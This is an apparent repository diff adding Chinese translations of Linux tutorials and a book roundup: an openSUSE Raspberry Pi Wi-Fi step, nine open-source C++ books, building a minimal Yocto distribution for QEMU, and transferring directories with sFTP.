再次运行 YaST ,在**<ruby>系统<rt>System</rt></ruby>** -> **<ruby>网络设置<rt>Network Settings</rt></ruby>**区域,你应该能在网络接口列表中看到 `BCM43430 WLAN Card` 项。选择这一项,点击 **<ruby>编辑<rt>Edit</rt></ruby>** 按钮。开启**<ruby>动态地址分配<rt>Dynamic Address DHCP</rt></ruby>**选项,点击**下一步**,选择你想要连接的无线网络,配置所需的连接设置。点击**下一步**和**确定**保存设置。重启树莓派,它应该就能连接上特定的 Wi-Fi 网络了。
至此,你就完成了树莓派上的系统部署。
--------------------------------------------------------------------------------
via: https://www.suse.com/communities/blog/opensuse-raspberry-pi-3-zero-functional-system-easy-steps/
作者:[chabowski][a]
译者:[Cathon](https://github.com/Cathon)
校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:https://www.suse.com/communities/blog/author/chabowski/
[1]:https://www.suse.com/communities/blog/author/chabowski/
[2]:https://www.opensuse.org/
[3]:https://www.raspberrypi.org/
[4]:https://www.x.org/wiki/
[5]:https://www.enlightenment.org/
[6]:https://www.xfce.org/
[7]:http://lxqt.org/
[8]:https://www.opensuse.org/#Leap
[9]:https://www.opensuse.org/#Tumbleweed
[10]:https://en.opensuse.org/HCL:Raspberry_Pi3
[11]:https://etcher.io/
[12]:https://www.suse.com/communities/blog/opensuse-raspberry-pi-3-zero-functional-system-easy-steps/#
[13]:https://www.suse.com/communities/blog/opensuse-raspberry-pi-3-zero-functional-system-easy-steps/#
[14]:https://www.suse.com/communities/blog/opensuse-raspberry-pi-3-zero-functional-system-easy-steps/#
[15]:https://www.suse.com/communities/blog/opensuse-raspberry-pi-3-zero-functional-system-easy-steps/#
[16]:https://www.suse.com/communities/blog/opensuse-raspberry-pi-3-zero-functional-system-easy-steps/#
[17]:http://www.printfriendly.com/print?url=https%3A%2F%2Fwww.suse.com%2Fcommunities%2Fblog%2Fopensuse-raspberry-pi-3-zero-functional-system-easy-steps%2F
[18]:http://www.printfriendly.com/print?url=https%3A%2F%2Fwww.suse.com%2Fcommunities%2Fblog%2Fopensuse-raspberry-pi-3-zero-functional-system-easy-steps%2F

View File

@ -0,0 +1,231 @@
借助开源书籍掌握 C++ 编程
==============
书籍是非常主观和私人的财产,编程书籍也不例外。但是不管 C++ 编程书籍的风格、关注点或者节奏如何,好书总可以带领读者走过一段引人入胜的旅程,揭示编程语言的能力,还能向读者描绘如何使用编程语言来实现各种事物。
分享是一种美德,我精心挑选了九本值得一读的优质 C++ 书籍,这些书籍均基于开源协议发布。在这之前,我会给出一份 C++ 的简短介绍。
C++ 是由 Bjarne Stroustrup 设计,初次发布于 1983 年。它是一种静态类型、格式自由、多重范式、可移植、编译式的通用编程语言。它被认为是中级语言同时包含有高级与初级编程语言的特性。C++ 设计用于实现系统级与应用的编程,它拓展了 C 编程语言,因此其名字中的使用了自增运算符 ++。
C++ 仍是一种流行的编程语言。例如,它被广泛应用于嵌入式系统、银行以及通讯业。它作为 C 的超集保留了 C 标志性的简洁与高效同时提供强类型检查、多重继承、数据抽象、异常处理操作符重载、泛型编程以及面向对象编程等功能。C++ 不仅影响了 C 语言的发展,同时也影响到了包括 C#、Java 在内的许多其他编程语言。
### 《Boost C++ 类库The Boost C++ Libraries
![The Boost C++ Libraries](https://i1.wp.com/www.ossblog.org/wp-content/uploads/2017/02/BoostC.jpeg?resize=200%2C245&ssl=1)
作者 Boris Schäling (570页)
《[Boost C++ 类库The Boost C++ Libraries][3]》被认为在 C++ 世界中极其重要并有深远影响。书中这些可移植的库提供对多种任务和结构体的支持包括多线程、容器、字符串和文本处理、迭代器、线性代数、伪随机数产生、元程序设计模板、并发程序设计、数据结构、图像处理、正则表达式和单元测试。Boost 可以在几乎所有现代操作系统上工作,包括 Linux 和 Windows 及其衍生,并且支持绝大多数现代编译器。
这本书介绍了 72 个 Boost 库,提供了广泛并且实用的功能。它们能够帮助程序员更轻松的管理内存和处理字符串。这些库提供多种容器以及其它数据结构来拓展标准库。使用这些库可以轻松实现平台无关的网络应用程序。
本书是一颗值得添加到各类收藏中的明珠。430 份源代码例子生动形象地阐释了这些库的功能。
本书前面的章节审视了内存管理、字符串处理、容器、数据结构、算法、通信、文件与流以及时间。后续章节进一步探索了函数式编程、并行编程和泛型编程。以对语言拓展、错误与数字处理、应用程序库、设计模式以及其他库的大部分内容。
本书采用[知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/)进行许可。如果你喜欢实体书,可以在亚马逊上购买纸质书,也可选择如 kindle、E-book 和 PD F格式的电子书。
### 《C++ 注释C++ Annotations
![C++ Annotations](
https://i2.wp.com/www.ossblog.org/wp-content/uploads/2017/02/CAnnotations.png?resize=470%2C663&ssl=1)
作者 Frank B. Brokken (1029页)
《[C++ 注释C++ Annotations][4]》提供了关于 C++ 编程语言的一份全面的教程。它可以被当做一门 C++ 课程的教材。本书面向已掌握 C 语言或其他类 C 语法知识的使用者。
本书主要章节有:
* 命名空间
* 字符串——C 提供的是最基础的字符串支持
* I/O 流库——提供了一个基于类概念的输入/输出库
* 类——C 提供了两种结构化不同类型数据的方法。C 语言的结构体包含多种类型的数据成员,而 C 语言的共用体union同样可以定义不同类型的数据成员。本章介绍的类也是一种结构体但是它的内容对外部世界来说是默认不可访问的。
* 静态数据和函数
* 内存管理——审视 C++ 中能够操作内存分配的操作符
* 异常——允许 C++ 程序执行受控的非本地返回命令,避免了使用 longjmp非局部跳转和 setjmp激活非局部跳转函数的缺陷。
* 操作符重载——介绍通用的操作符重载
* 抽象容器
* 继承——派生的另外一个特性。 本章演示基类指针可能被用来指向派生类的对象。
* 多态——继承的一种特殊形态
* 友元机制——介绍 friend 关键词以及它的使用原则
* 成员指针——定义成员指针及其用法,静态成员指针,指针长度
* 嵌套类——当嵌套类与其外围类有概念上的紧密联系时会被使用
* 标准模板库STL——包含容器、通用算法、迭代器、函数对象、分配器、适配器和数据结构的通用库。这些算法使用的数据结构都是抽象意义的因此算法实际上可以使用任何数据类型。
* 泛型算法——涵盖标准模板库中的泛型算法
* 函数模板——探索模板独特的句法。介绍模板类型参数与模板非类型参数和函数模板等概念并且提供模板的多个案例。
* 类模板——讨论构建与使用类模板
* 进阶模板用法——一份简短的模板元编程主要特性与模板的微妙关系的介绍
本书有HTML、PDF、PostScript 和 txt 版本。它可以自由分发,基于 GNU GPL 协议发布。
### 《通过 C++ 和 Qt4 了解设计模式An Introduction to Design Patterns in C++ with Qt 4
![Introduction to Design Patterns in C++ with Qt 4, An](https://i1.wp.com/www.ossblog.org/wp-content/uploads/2017/02/DesignPatternsQt4.jpeg?resize=200%2C264&ssl=1)
作者 Alan Ezust, Paul Ezust (656页)
《[通过 C++ 和 Qt4 了解设计模式An Introduction to Design Patterns in C++ with Qt 4][5]》从介绍 C++ 基础知识、面向对象概念、UML统一建模语言和核心 Qt 类开始。进而转向更高级的编程概念如 Qt modules 和设计模式。最后严密地印证了重要的 C++ 特性。其中涵盖了非常优秀的对函数、继承和多态的讲解。
本书不需要具备任何 C 或者 C++ 编程经验前提,并且被设计为普适用途。它也为教学工作者准备了 Qt 案例、练习、答案以及课程 PPT。
本书是 Bruce Perens 开源系列中的一部分。所有在此系列中的书籍都是基于 Open Publication License V1.0 及其后版本发布的。
### 《像计算机科学家一样思考C++How to Think Like a Computer Scientist: C++)》
![How to Think Like a Computer Scientist: C++](https://i1.wp.com/www.ossblog.org/wp-content/uploads/2017/02/ComputerScientistC.jpg?resize=200%2C250&ssl=1)
作者 Allen B. Downey (191页)
《[像计算机科学家一样思考C++How to Think Like a Computer Scientist: C++][6]》是使用 C++ 编程语言进行软件设计的一本简洁友好的介绍性书籍。本书的目的是通过讲解最基础的概念并且以读者容易接受的节奏逐步增加新内容来把没有编程经验的读者培养成为未来的开发者。
本书提供的有价值的内容包括:
* 变量、表达式和语句
* 函数
* 条件语句与递归
* 丰富的函数
* 迭代
* 字符串
* 向量
* 成员函数
* 对象的向量
* 向量的对象
* 类与不变量
* 文件输入输出和 apmatrixes
本书是一本在[知识共享署名-非商业性使用-3.0 未本地化版本](https://creativecommons.org/licenses/by-nc/3.0/)协议下发布的免费书籍。
### 《C++ Qt3 图形界面编程C++ GUI Programming with Qt 3
![C++ GUI Programming with Qt 3](https://i0.wp.com/www.ossblog.org/wp-content/uploads/2017/02/CQt3.jpeg?resize=200%2C262&ssl=1)
作者 Jasmin Blanchette, Mark Summerfield (464 页)
最新发布的 Qt 稳定版本是 5.8,而《[C++ Qt3 图形界面编程C++ GUI Programming with Qt 3][7]》指导读者如何使用 Qt3 编写 GUI 程序Qt3 最近一次更新是 2004 年,但是本书仍然有大部分内容对 Qt4 和 Qt5 有效。
本书不是一本面向初学者的书,需要读者对 C++ 有基本的理解。
本书向读者介绍了使用 Qt 进行 GUI 应用编程所有的概念和需要的练习。本书不仅详尽的讲述了核心内容,而且也提供了一些特别的和高阶的学习材料。
本书是 Bruce Perens 开源系列中的一部分。所有在此系列中的书籍都是基于 Open Publication License V1.0及之后版本发布的。
### 《开放数据结构C++ 版Open Data Structures (in C++))》
![Open Data Structures (in C++)](https://i2.wp.com/www.ossblog.org/wp-content/uploads/2017/02/OpenDataStructures.jpg?resize=200%2C300&ssl=1)
作者 Pat Morin (336页)
《[开放数据结构C++ 版Open Data Structures (in C++)][1]》教导读者设计和分析基础数据结构以及如何使用 C++ 实现。 它涵盖了对如下数据结构的分析和实现:序列(列表)、队列、优先队列、无序字典、有序字典以及图。作者的意图在于向大学计算机科学的学生提供一条学习数据结构的免费的途径,但是并不打算成为介绍 C++ 编程语言或者 C++ 标准模板库的一本书。不过它可以帮助程序员理解标准模板库的数据结构是如何实现的以及这种实现为何如此高效。
章节内容覆盖了基于数组的列表、链表、分级链表、哈希表、二叉树(又包含了随机二叉搜索树、替罪羊树、红黑树)。之后的章节还包括堆、排序算法(比较、计数和基数排序)、图、整数的数据结构和外部存储器搜索。
本书基于[知识共享署名](http://creativecommons.org/licenses/by/4.0/) 协议发布。免费的 HTML、PDF 均已发布,本书的 LaTeX 版本Java/C++/Python 源代码都可以从 GitHub 下载。也有纸质书版本可供购买。本书已被翻译为斯罗维尼亚语和土耳其语。
### 《使用 wxWidgets 进行跨平台 GUI 编程Cross-Platform GUI Programming with wxWidgets
![Cross-Platform GUI Programming with wxWidgets](https://i1.wp.com/www.ossblog.org/wp-content/uploads/2017/02/wxWidgets.jpeg?resize=200%2C264&ssl=1)
作者 Julian SmartKevin Hock和Stefan CsomorBrifll (744 页)
wxWidgets 是一个流行的 C++ 库,可供开发者使用单一的代码基础为 Windosw、Mac OS、Linux 和其他平台创建应用。它支持非常广泛的图形处理库。
这本书《[使用 wxWidgets 进行跨平台 GUI 编程Cross-Platform GUI Programming with wxWidgets][8]》从简单的介绍和起步章节开始,主要内容包括:
* 事件处理
* 窗口基础
* 画图
* 输入事件处理
* 使用 sizers 进行窗口布局
* 使用标准对话框
* 创建自定义对话框
* 图像编程
* 剪贴板与拖放动作
* 高阶窗口类
* 文件和数据流
* 内存管理,调试和错误检查
* 编写国际化应用
* 编写多线程应用
* wxSocket 编程
* 处理文档和视图
* 日臻完美你的应用
本书是 Bruce Perens 开源系列中的一部分。所有在此系列中的书籍都是基于 Open Publication License V1.0及其后版本发布的。
### 《Rook 的 C++ 指南The Rooks Guide to C++)》
![The Rook's Guide to C++](https://i0.wp.com/www.ossblog.org/wp-content/uploads/2017/02/RooksGuide.jpg?resize=200%2C300&ssl=1)
作者 Jeremy Hansen (160页)
《[Rook 的 C++ 指南The Rooks Guide to C++][2]》的章节中包含变量、常量、输入输出、数据类型和转换、条件判断语句if、else 和 else if、switch 语句)、字符串、循环、数组、块、函数和作用域。之后的章节主要集中解决问题和定位问题,包括预处理器、高等代数、文件输入输出、指针、动态数据、类和抽象、分离编译和标准模板库。
本书大部分都是由 25 位 Norwich 大学的学生于一个黑客马拉松周末写成。当然不敢说毫无缺点,但还是一本相当不错的书。它被基于[知识共享署名-非商业性使用-相同方式共享 3.0 未本地化版本](https://creativecommons.org/licenses/by-nc-sa/3.0/deed.zh)协议发布。同时在亚马逊也有本书的纸质版可供购买。
### 《GCC 简介An Introduction to GCC
![An Introduction to GCC](https://i1.wp.com/www.ossblog.org/wp-content/uploads/2017/01/IntroductionGCC.png?resize=200%2C300&ssl=1)
作者 Brian Gough (144页)
《[GCC 简介An Introduction to GCC][9]》介绍了 GCC同时介绍了 GNU C 和 C++ 编译器gcc 和 g++,均属于 GNU 编译器集合GCC
本书解释了如何单独使用编译器。作者通过数年对邮件列表中发表的问题的观察,撰写本书带领读者直接接触 GCC 最重要的部分。
章节简介:
* 介绍
* 编译一个 C 程序——描述了如何使用 gcc 编译 C 程序。程序可能是由单独文件或者多个文件编译而成,也可能使用系统库和头文件。
* 编译选项——描述gcc中可以使用的编译器中常用的选项。这些选项可以修改本地库和包含文件的搜索路径配置额外的 warning 和调试信息,预处理器宏指令和 C 方言。
* 使用预处理——描述了属于 GCC 包内的 GNU C 预处理 cpp 程序的用途。预处理将宏定义在源代码被编译前展开。预处理会在 GCC 编译 C 或者 C++ 程序时自动被调用。
* 以调试为目的编译——提供 -g 选项使目标文件和可执行文件中存储额外的调试信息。当出现错误时,这些调试信息允许从特定的机器指令回溯到源代码中相应的行。
* 优化编译——GCC 是一个优化编译器。它提供了大量的选项来使其生成的可执行文件的速度得到提升,并尽量减小可执行文件的大小。
* 编译一个 C++ 程序——描述了如何使用 GCC 来编译以 C++ 编写的程序,以及针对这门语言特定的命令行选项。
* 平台相关的选项——描述了一些通用平台上可用的选项,如 Intel 和 AMD x86 选项、x86 拓展选项、x86 64 位处理器选项、DEC Alpha 选项、SPARC 选项、POWER/powerPC 选项、复合架构支持以及浮点相关问题。
* 问题定位——GCC 提供了几项帮助和诊断选项来帮助用户在编译过程中定位问题。
* 编译器相关工具——介绍了大量能够用于和 GCC 组合使用的工具。包括:用来创建库的 GNU 压缩器 ar以及 GNU 性能和覆盖测试工具gprof 和 gcov。
* 编译器如何工作——描述了关于 GCC 如何将源代码转换为可执行程序的更多细节。编译是一个涉及到多种工具的多级过程,包括 GNU 编译器自身(通过 gcc 或者 g++ 前端、GNU 汇编器 as 以及 GNU 链接器 ld。编译过程中一个完整的工具集合被称之为工具链。
* 检查编译后的文件——描述了多种有用的工具来检查可执行文件和目标文件的内容。
* 常见错误消息——描述了 gcc 和 g++ 产生的最常见的错误和警告信息。每一个案例都伴随着错误和警告产生的原因,相应的例子和可能解决问题的建议。
* 获得帮助——如果读者碰到了本书中未能涵盖的问题,还有多种参考手册更详细的描述了 GCC 和编程语言相关的主题。
本书是基于 GNU Free Documentation 协议出版的。
此外还有一些 C++ 书籍可以免费下载,但是那些并不是基于开源协议发布的,或者作者没有指定一个协议。这类书籍包括:
- [Thinking in C++,第二版,卷一、卷二][14]  作者 Bruce Eckel (卷二作者增加了 Chuck Allison)
- [C++ In Action:Industrial Strength Programming][15] 作者 Bartosz Milewski
最后,我对刚入门的 C++ 新手的建议一定是 [编程原理与体验C++ 版Programming — Principles and Practice Using C++ (第二版)][16]。普遍认为这是最合适的入门书籍,由 C++ 的创始人书写,物超所值。
--------------------------------------------------------------------------------
via: https://www.ossblog.org/master-c-programming-with-open-source-books/
作者:[Steve Emms][a]
译者:[xiaow6](https://github.com/xiaow6)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:https://www.ossblog.org/author/steve/
[1]:http://opendatastructures.org/ods-cpp/
[2]:https://rooksguide.org/
[3]:https://theboostcpplibraries.com/
[4]:http://www.icce.rug.nl/documents/cplusplus/
[5]:http://www.informit.com/store/introduction-to-design-patterns-in-c-plus-plus-with-9780131879058
[6]:http://greenteapress.com/thinkcpp/index.html
[7]:http://www.informit.com/store/c-plus-plus-gui-programming-with-qt-3-9780131240728
[8]:http://www.informit.com/store/cross-platform-gui-programming-with-wxwidgets-9780131473812
[9]:http://www.network-theory.co.uk/docs/gccintro/
[10]:https://www.ossblog.org/author/steve/
[11]:https://www.ossblog.org/master-c-programming-with-open-source-books/#comments
[12]:https://www.ossblog.org/category/books/
[13]:https://www.ossblog.org/category/programming/
[14]:http://mindview.net/Books/TICPP/ThinkingInCPP2e.html
[15]:http://www.relisoft.com/book/
[16]:http://stroustrup.com/Programming/

View File

@ -0,0 +1,185 @@
如何在 Ubuntu 上用 Yocto 创建你自己的 Linux 发行版
========================================
### 本文内容
本文主要聚焦在如何使用 Yocto 在 Ubuntu 上创建一个最小化的 Linux 发行版。Yocto 项目在嵌入式 Linux 的世界非常著名这是因为它用起来非常灵活、方便。Yocto 的目标是为嵌入式软硬件开发商创建自己的 Linux 发行版。本文我们将会创建一个可以运行在 QEMU 上的最小化的 Linux并且在 QEMU 上实际运行。
### 开发机的基本条件
* 最少 4-6 GB 内存
* 最新版的 Ubuntu 系统(本文使用了 16.04 LTS
* 磁盘剩余空间至少 60-80 GB
* 在创建 Linux 发行版之前先安装下面的软件包
* 下载最新的 YoctoPoky 是其最小开发环境)稳定分支
```
apt-get update
```
```
apt-get install wget git-core unzip make gcc g++ build-essential subversion sed autoconf automake texi2html texinfo coreutils diffstat python-pysqlite2 docbook-utils libsdl1.2-dev libxml-parser-perl libgl1-mesa-dev libglu1-mesa-dev xsltproc desktop-file-utils chrpath groff libtool xterm gawk fop
```
![Install prerequisites for Yocto](https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/1-pre_requisite_packages-1.png)
如下所示,开发环境要安装的软件包将近 1GB 大小。
![Install the development packages](https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/2-pre_requisite_packages-2.png)
在这个教程中,系统上克隆的是 poky 的 `morty` 稳定分支。
```
git clone -b morty git://git.yoctoproject.org/poky.git
```
![install poky](https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/download_morty_of_yocto.png)
进入 `poky` 目录,然后运行下面的命令为 Yocto 开发环境设置(设置/导出)一些环境变量。
```
source oe-init-build-env
```
如下所示,在运行了 open embedded (oe) 的构建环境脚本之后,终端里的路径会自动切换到 `build` 目录,以便进行之后行发行版的的配置和构建。
![Prepare OE build environment](https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/source_environment_script.png)
上面的截屏展示了在 `conf` 目录下创建的文件 `local.conf`。这是 Yocto 用来设置目标机器细节和 SDK 的目标架构的配置文件。
如下所示,这里设置的目标机器是 `qemux86-64`
![Set the target machine type](https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/selected_target.png)
如下面截图所示,在 `local.conf` 中取消下面参数的注释符号。
```
DL_DIR ?= "${TOPDIR}/downloads"
```
![Configure local.conf file](https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/uncheck_Download_parameters.png)
```
SSTATE_DIR ?= "${TOPDIR}/sstate-cache"
```
![Set SSTATE_DIR](https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/uncheck_sstate_parametes.png)
```
TMPDIR ?= "${TOPDIR}/tmp"
```
![Set TMPDIR](https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/tempdir_uncheck_paramerter.png)
```
PACKAGE_CLASSES ?= "package_rpm"
SDKMACHINE ?= "i686"
```
![Set PACKAGE_CLASSES and SDKMACHINE](https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/sdk_and_package_selection.png)
如下所示,在 `local.conf` 中为基于 Yocto 的 Linux 设置空密码和后续的一些参数。否则的话用户就不能登录进新的发行版。
```
EXTRA_IMAGE_FEATURES ?= "debug-tweaks"
```
![Set debug-tweaks option](https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/extra-features_for_blank_password.png)
我们并不准备使用任何图形化工具来创建 Linux OS比如 `toaster` `hob` 已经不再支持了)。
### Yocto 编译构建过程
现在运行下面的 `bitbake` 工具命令开始为选定的目标机器下载和编译软件包。
```
bitbake core-image-minimal
```
![Start bitbake](https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/bitbake_coreimageminimal.png)
**非常重要的是要在普通 Linux 用户下运行上面的命令,而不是使用 root 用户**。如下面截图所示,当你在 root 用户下运行 bitbake 命令会产生下面所示的错误。
![Do not run bitbake as root](https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/dont_user_as_a_root.png)
再一次运行导出环境变量的脚本(`oe-init-build-env`),重新执行相同的命令来启动下载和编译过程。
![rerun commands](https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/runniing_bitbake_again-normal_user.png)
如下所示,构建脚本组件的第一步工作是解析配置(`recipe`)。
![Parse the build recipes](https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/parsing-receipe.png)
下面的截图展示了构建脚本的解析过程。同时也显示了用来构建你的新的基于 yocto 的发行版的构建系统的细节。
![Building proceeds](https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/output_of_parsing.png)
在下载了 SDK 和必要的库之后,下一步工作是下载并编译软件包。如下截图展示了为构建新发行版而执行的任务。这一步将会执行 2-3 小时,因为首先要下载需要的软件包,然后还要为新的 Linux 发行版编译这些软件包。
![Compilation will take several hours](https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/task_list.png)
下面的截图表明了任务列表执行完毕。
![](https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/downloaded-all_packages_and_compiled.png)
为目标机器类型 `qemux86-64` 编译好的新镜像位于 `build/tmp/deploy/images/qemux86-64`
![Build complete](https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/new_linux_compiled_under_qemux86_64.png)
如下所示,上面的命令如果运行在 `Putty` 上会产生一个错误。
![command error in putty](https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/error_on_putty.png)
通过 `rdp` 在 Ubuntu 平台上再次运行上面的命令。
![Command works fine in rdp](https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/runqemu_command.png)
为运行新的基于 Yocto 的 Linux 发行版的 qemu 打开一个新屏幕。
![Open Quemu emulator](https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/new_linux_inside_the_qemu_.png)
下面展示了新发行版的登录界面,同时也显示了使用的 yocto 项目的版本号。默认的用户名是 `root` ,密码为空。
![Linux distribution started](https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/reference_distro.png)
最后使用 `root` 用户名和空密码登录新发行版。如下截图所示,在这个最小版本的 Linux 上运行了基本的命令(`data` 、 `ifconfig``uname`)。
![Test the Linux distribution](https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/inside_new_linux_distro_running_on_qemu_3.png)
本文的目标是理解使用 Yocto 创建新的 Linux 发行版的过程。
--------------------------------------------------------------------------------
via: https://www.howtoforge.com/tutorial/how-to-create-your-own-linux-distribution-with-yocto-on-ubuntu/
作者:[Ahmad][a]
译者:[Ezio](https://github.com/oska874)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:https://www.howtoforge.com/tutorial/how-to-create-your-own-linux-distribution-with-yocto-on-ubuntu/
[1]:https://www.howtoforge.com/tutorial/how-to-create-your-own-linux-distribution-with-yocto-on-ubuntu/#prerequisites-for-the-development-machinenbsp
[2]:https://www.howtoforge.com/tutorial/how-to-create-your-own-linux-distribution-with-yocto-on-ubuntu/#yocto-compilation-and-building-process
[3]:https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/1-pre_requisite_packages-1.png
[4]:https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/2-pre_requisite_packages-2.png
[5]:https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/download_morty_of_yocto.png
[6]:https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/source_environment_script.png
[7]:https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/selected_target.png
[8]:https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/uncheck_Download_parameters.png
[9]:https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/uncheck_sstate_parametes.png
[10]:https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/tempdir_uncheck_paramerter.png
[11]:https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/sdk_and_package_selection.png
[12]:https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/extra-features_for_blank_password.png
[13]:https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/bitbake_coreimageminimal.png
[14]:https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/dont_user_as_a_root.png
[15]:https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/runniing_bitbake_again-normal_user.png
[16]:https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/parsing-receipe.png
[17]:https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/output_of_parsing.png
[18]:https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/task_list.png
[19]:https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/downloaded-all_packages_and_compiled.png
[20]:https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/new_linux_compiled_under_qemux86_64.png
[21]:https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/error_on_putty.png
[22]:https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/runqemu_command.png
[23]:https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/new_linux_inside_the_qemu_.png
[24]:https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/reference_distro.png
[25]:https://www.howtoforge.com/images/how-to-create-your-own-linux-distribution-with-yocto/big/inside_new_linux_distro_running_on_qemu_3.png

View File

@ -0,0 +1,116 @@
如何在 Linux 中使用 sFTP 上传或下载文件/文件夹
============================================================
[sFTP安全文件传输程序][1]是一种安全的交互式文件传输程序,其工作方式与 FTP文件传输协议类似。 然而sFTP 比 FTP 更安全;它通过加密 SSH 传输处理所有操作。
它可以配置使用几个有用的 SSH 功能,如[公钥认证][2]和压缩。 它连接并登录到指定的远程机器,然后切换到交互式命令模式,在该模式下用户可以执行各种命令。
在本文中,我们将向你展示如何使用 sFTP 上传/下载整个目录(包括其子目录和子文件)。
### 如何在 Linux 中使用 sFTP 传输文件/文件夹
默认情况下SFTP 协议采用和 SSH 传输协议一样的方式建立到远程服务器的安全连接。虽然,用户验证使用类似于 SSH 默认设置的密码方式,但是,建议[创建和使用 SSH 无密码登录][3],以简化和更安全地连接到远程主机。
要连接到远程 sftp 服务器,如下建立一个安全 SSH 连接并创建 SFTP 会话:
```
$ sftp tecmint@192.168.56.10
```
登录到远程主机后,你可以如下运行交互式的 sFTP 命令:
```
sftp> ls #list directory
sftp> pwd #print working directory on remote host
sftp> lpwd #print working directory on local host
sftp> mkdir uploads #create a new directory
```
[
![Run sFTP Commands on Remote Linux](http://www.tecmint.com/wp-content/uploads/2017/02/Run-sFTP-Commands-on-Remote-Linux.png)
][4]
* Linux 主机上运行 sFTP 命令*
#### 如何使用 sFTP 上传文件夹
要将整个目录上传到远程 Linux 主机中,请使用 `put` 命令。但是,如果目录名称不存在于远程主机上的工作目录中,你将收到错误,如下面的屏幕截图所示。
因此,首先在远程主机上创建一个具有相同名称的目录,然后从本地主机上传它,`-r` 参数允许拷贝子目录和子文件:
```
sftp> put -r Tecmint.com-articles
sftp> mkdir Tecmint.com-articles
sftp> put -r Tecmint.com-articles
```
[
![Upload Directory using SFTP](http://www.tecmint.com/wp-content/uploads/2017/02/Upload-Directory-using-SFTP.png)
][5]
*使用 sFTP 上传文件夹*
要保留修改时间、访问时间以及被传输的文件的模式,请使用 `-p` 标志。
```
sftp> put -pr Tecmint.com-articles
```
#### 如何使用 sFTP 下载文件夹
要从远程 Linux 主机下载整个 fstools-0.0 文件夹到本机中,如下所示使用 get 命令带上 `-r` 标志:
```
sftp> get -r fstools-0.0
```
[
![Download Directory using sFTP](http://www.tecmint.com/wp-content/uploads/2017/02/Download-Directory-using-sFTP.png)
][6]
*使用 sFTP 下载目录*
如果文件夹已经下载完成了,接着查看本机的工作目录。
要退出 sFTP shell输入
```
sftp> bye
或者
sftp> exit
```
此外,阅读这篇 [sFTP 命令和使用技巧][7]。
请注意,为了防止用户访问远程主机上的整个文件系统,出于安全原因,你可以使用 chroot Jail [将 sFTP 用户限制到其主目录][8]中。
就是这样了!在本文中,我们向你展示了如何使用 sFTP 上传/下载整个目录。使用下面的评论栏向我们提供你对本文/主题的看法。
--------------------------------------------------------------------------------
作者简介:
Aaron Kili 是 Linux 和 F.O.S.S 爱好者,将来的 Linux 系统管理员和网络开发人员,目前是 TecMint 的内容创作者,他喜欢用电脑工作,并坚信分享知识。
--------------------------------------------------------------------------------
via: http://www.tecmint.com/sftp-upload-download-directory-in-linux/
作者:[Aaron Kili][a]
译者:[geekpi](https://github.com/geekpi)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:http://www.tecmint.com/author/aaronkili/
